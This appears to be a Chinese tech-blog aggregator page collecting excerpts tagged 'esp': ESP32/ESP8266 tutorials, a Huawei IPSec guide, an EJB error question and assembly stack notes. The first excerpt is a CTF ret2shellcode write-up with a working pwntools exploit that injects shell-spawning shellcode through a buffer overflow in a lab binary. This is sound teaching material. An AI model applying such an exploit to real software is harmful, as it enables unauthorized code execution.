esp

[WP]CTFwiki-shellcode

女生的网名这么多〃 提交于 2019-12-04 18:26:38
1.运行程序,没有提供 system ,32位程序,基本未开保护 2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。 4.查看 esp 和 ebp 来计算覆盖长度 5.构造exp #!/usr/bin/env python from pwn import * #EBP: 0xffffd158 --> 0x0 #ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 sh = process('./ret2shellcode') buf_addr = 0x0804A080 payload = asm(shellcraft.sh()) #sh.recvuntil() length = 0x158 - 0xec + 4 sh.sendline(payload.ljust(length, 'a') + p32(buf_addr)) sh.interactive() 来源: https://www.cnblogs.com/Tsuiyields/p/11877354.html

javax.ejb.EJBException java.lang.IllegalStateException: Unable to retrieve EntityManagerFactory for unitName

匿名 (未验证) 提交于 2019-12-03 09:02:45
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I'm working on a JavaEE application with EJB. I have an Entity called Medico which code is: @Entity public class Medico implements Serializable{ /** * */ private static final long serialVersionUID = 1L; /** * */ public Medico(String nome_medico, String morada_medico, String esp, GregorianCalendar dnasc_medico, int tel_medico) { //construtor parametrico super(); this.nome_medico = nome_medico; this.morada_medico = morada_medico; this.esp = esp; this.dnasc_medico = dnasc_medico; this.tel_medico = tel_medico; } @Id @GeneratedValue private int

华为 配置采用手工方式建立IPSec隧道

匿名 (未验证) 提交于 2019-12-03 00:38:01
一、组网需求 1、如图所示,RouterA为企业分支网关,RouterB为企业总部网关,分支与总部通过公网建立通信。分支子网为10.1.1.0/24,总部子网为10.1.2.0/24。 企业希望对分支子网与总部子网之间相互访问的流量进行安全保护。分支与总部通过公网建立通信,可以在分支网关与总部网关之间建立一个IPSec隧道来实施安全保护。由于维护网关较少,可以考虑采用手工方式建立IPSec隧道。 2、网络拓扑 3、采用如下思路配置采用手工方式建立IPSec隧道: 配置接口的IP地址和到对端的静态路由,保证两端路由可达。 配置ACL,以定义需要IPSec保护的数据流。 配置IPSec安全提议,定义IPSec的保护方法。 配置安全策略,并引用ACL和IPSec安全提议,确定对何种数据流采取何种保护方法。 在接口上应用安全策略组,使接口具有IPSec的保护功能。 二、操作步骤 1、配置接口IP地址 <Huawei>system-view [Huawei]sysname RouterA [RouterA]interface GigabitEthernet 0/0/2 [RouterA-GigabitEthernet0/0/2]ip address 10.1.1.1 24 [RouterA-GigabitEthernet0/0/2]q [RouterA]interface

如何创建自己的第一个热点

匿名 (未验证) 提交于 2019-12-03 00:22:01
在入门教程中,我给大家讲了如何利用 VSCODE + 乐鑫的工具链 搭建ESP32的开发环境,众观全网应该算是首创了.如果之前还没有看过或者不知道在哪里看,可以 点击这里 .接下来,红旭无线开始给大家讲解基础教程,也就是今天的第一课 <<如何创建自己的第一个热点>> 在开始本节教程之前,我们必须先创建一个自己的模板工程,也就是最干净的一个工程,里面什么都没有,用于接下来的基础以及高级项目教程使用.那么如果创建呢?其实很简单,接下来看如下操作步骤: 使用 vscode 打开esp32的sdk开发包文件夹,并在其根目录下,新建一个名为 app 文件夹; 将esp32的sdk开发包中的 examples -> get-started -> hello_world 中的内容全部复制至根目录下新建的 app 文件夹中 修改 app 文件夹下 Makefile 中的 PROJECT_NAME Ϊ user-app ,同时将 main 目录下的 hello_world_main.c 更改为 user_app_main.c 至此,模板工程就创建完成了. ESP32的开发跟ESP8266有点不太一样,ESP8266因为只有一个wifi功能,所以很多初始化在上电之后内部就已经自动完成了,真正在应用层上的初始化的没多少个.但是ESP32就不同了,因为ESP32不但支持wifi,面且支持蓝牙

使用Arduino点亮ESP-01S,ESP8266-01S上的板载LED

匿名 (未验证) 提交于 2019-12-03 00:11:01
经过测试本代码只实用于ESP-01S,ESP8266-01S。 //ESP―01S #include <ESP8266WiFi.h> int ledPin = 2; // GPIO2 of ESP8266-01S void setup() { pinMode(ledPin, OUTPUT); digitalWrite(ledPin, LOW); } void loop() { digitalWrite(ledPin, HIGH); delay(1000); digitalWrite(ledPin, LOW); delay(1000); } 来源:博客园 作者: Easy-idea 链接:https://www.cnblogs.com/easyidea/p/11565490.html

ESP8266开发之旅 基础篇① 走进ESP8266的世界

匿名 (未验证) 提交于 2019-12-02 23:43:01
版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 ( Creative Commons ) 本系列博客由 单片机菜鸟 个人熬夜所写,仅仅做个人技术交流分享,不做任何商业用途。如有不对之处,请留言,本人及时更改。 一、基础篇 ESP8266开发之旅 基础篇① 走进ESP8266的世界 ESP8266开发之旅 基础篇② 如何安装ESP8266的Arduino开发环境 ESP8266开发之旅 基础篇③ ESP8266与Arduino的开发说明 ESP8266开发之旅 基础篇④ ESP8266与EEPROM ESP8266开发之旅 基础篇⑤ ESP8266 SPI通信和I2C通信 ESP8266开发之旅 基础篇⑥ Ticker――ESP8266定时库 二、网络篇 ESP8266开发之旅 网络篇① 认识一下Arduino Core For ESP8266 ESP8266开发之旅 网络篇② ESP8266 工作模式与ESP8266WiFi库 ESP8266开发之旅 网络篇③ Soft-AP――ESP8266WiFiAP库的使用 ESP8266开发之旅 网络篇④ Station――ESP8266WiFiSTA库的使用 ESP8266开发之旅 网络篇⑤ Scan WiFi――ESP8266WiFiScan库的使用 ESP8266开发之旅 网络篇⑥

汇编学习1--寄存器学习

匿名 (未验证) 提交于 2019-12-02 23:42:01
最近发现底层原理知识匮乏,故而重故一下汇编, 以便对系统攻防技术有更好的理解 下图是80X86寄存器整体图示: 4个数据寄存器(EAX、EBX、ECX和EDX) 2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP) 6个段寄存器(ES、CS、SS、DS、FS和GS) 1个指令指针寄存器(EIP) 1个标志寄存器(EFlags) 作用:寄存器是 中央处理器 内的组成部分。寄存器是有限存贮容量的高速存贮部件,它们可用来暂存 指令 、 数据 和 地址 。在 中央处理器 的控制部件中,包含的寄存器有 指令寄存器 (IR)和 程序计数器 (PC)。在 中央处理器 的算术及逻辑部件中,寄存器有 累加器 (ACC) (来自百科) 下面对各类寄存器进行介绍: 1. 数据寄存器 作用:数据寄存器主要用来保存操作数和运算结果等信息,从而节省读取操作数所需占用总线和访问存储器的时间 寄存器中数据存储: 在内存中时,由于内存单元是字节单元,刚一个字要用2个地址连续的内存单元来存放,字的低位字节存在低地址单元. 0地址单元中存放的字节型数据为20H,0地址单元中存放的字型数据为4E20H,2地址单元中存放的字节型数据为12H,2地址单元中存放的字型数据为0012H 汇编命令: 2.段寄存器 作用 : 段寄存器 是因为对内存的分段管理而设置的。计算机需要对内存分段,以分配给不同的程序使用

ESP32 windows10+msys32+eclipse编译环境COM串口通信设置

匿名 (未验证) 提交于 2019-12-02 23:42:01
1. 串口通信问题 ================================================================================================ ================================================================================================ 最近升级了下esp32的编译环境,使用了官方的最新的编译开发环境,msys32 + eclipse IDE方式,发现无法打开串口和ESP32通信, eclipse IDE提示通信失败 serial.serialutil.SerialException: could not open port '/??/COM7', 输出如下: File "D:\15.Esp32Projects\msys32\mingw32\lib\python2.7\site-packages/serial/__init__.py", line 88, in serial_for_url instance.open() File "D:\15.Esp32Projects\msys32\mingw32\lib\python2.7\site-packages/serial/serialwin32.py", line

汇编语言入门

天涯浪子 提交于 2019-12-02 08:24:45
  感觉汇编语言还是很酷的,查了很多资料,这里再发一篇。   学习编程其实就是学高级语言,即那些为人类设计的计算机语言。 但是,计算机不理解高级语言,必须通过编译器转成二进制代码,才能运行。学会高级语言,并不等于理解计算机实际的运行步骤。   计算机真正能够理解的是低级语言,它专门用来控制硬件。汇编语言就是低级语言,直接描述/控制 CPU 的运行。如果你想了解 CPU 到底干了些什么,以及代码的运行步骤,就一定要学习汇编语言。 汇编语言不容易学习,就连简明扼要的介绍都很难找到。下面我尝试写一篇最好懂的汇编语言教程,解释 CPU 如何执行代码。 一、汇编语言是什么?   我们知道,CPU 只负责计算,本身不具备智能。你输入一条指令(instruction),它就运行一次,然后停下来,等待下一条指令。 这些指令都是二进制的,称为操作码(opcode),比如加法指令就是00000011。编译器的作用,就是将高级语言写好的程序,翻译成一条条操作码。 对于人类来说,二进制程序是不可读的,根本看不出来机器干了什么。为了解决可读性的问题,以及偶尔的编辑需求,就诞生了汇编语言。   汇编语言是二进制指令的文本形式,与指令是一一对应的关系。比如,加法指令00000011写成汇编语言就是 ADD。只要还原成二进制,汇编语言就可以被 CPU 直接执行,所以它是最底层的低级语言。 二、来历   最早的时候

栈-函数调用

偶尔善良 提交于 2019-12-02 06:59:10
汇编的程序如下,分析此程序以得出栈的精髓: 1、主函数被上层调用者调用后,执行 PUSH EBP ,ESP-4(因为EBP入栈),EBP值没有改变,值得注意的是刚开始分配站的时候, 第一个入栈的是return ,主函数的返回地址,然后是EBP 2、然后是 MOV EBP,ESP ,将ESP的值赋给EBP,该语句未执行时,EBP仍为上层调用者的栈的栈底指针,执行该语句后,EBP变为新栈的栈底指针(先将其入栈,是为了返回上层时,栈的状态也会随之返回,函数调用结束,函数的栈即消失) 3、然后就是一些函数内部的数据入栈出栈等操作 4、函数即将结束时,执行 MOV ESP,EBP 操作,清空该栈,回到第二步的状态2 5、上步结束后,执行 pop ebp 操作,此时 ebp指向上层调用者的栈底 6、最后一步为 return ,返回函数调用的地址,函数调用和函数返回的时候会调用栈顶指针ESP 来源: https://www.cnblogs.com/dx-yll/p/11734971.html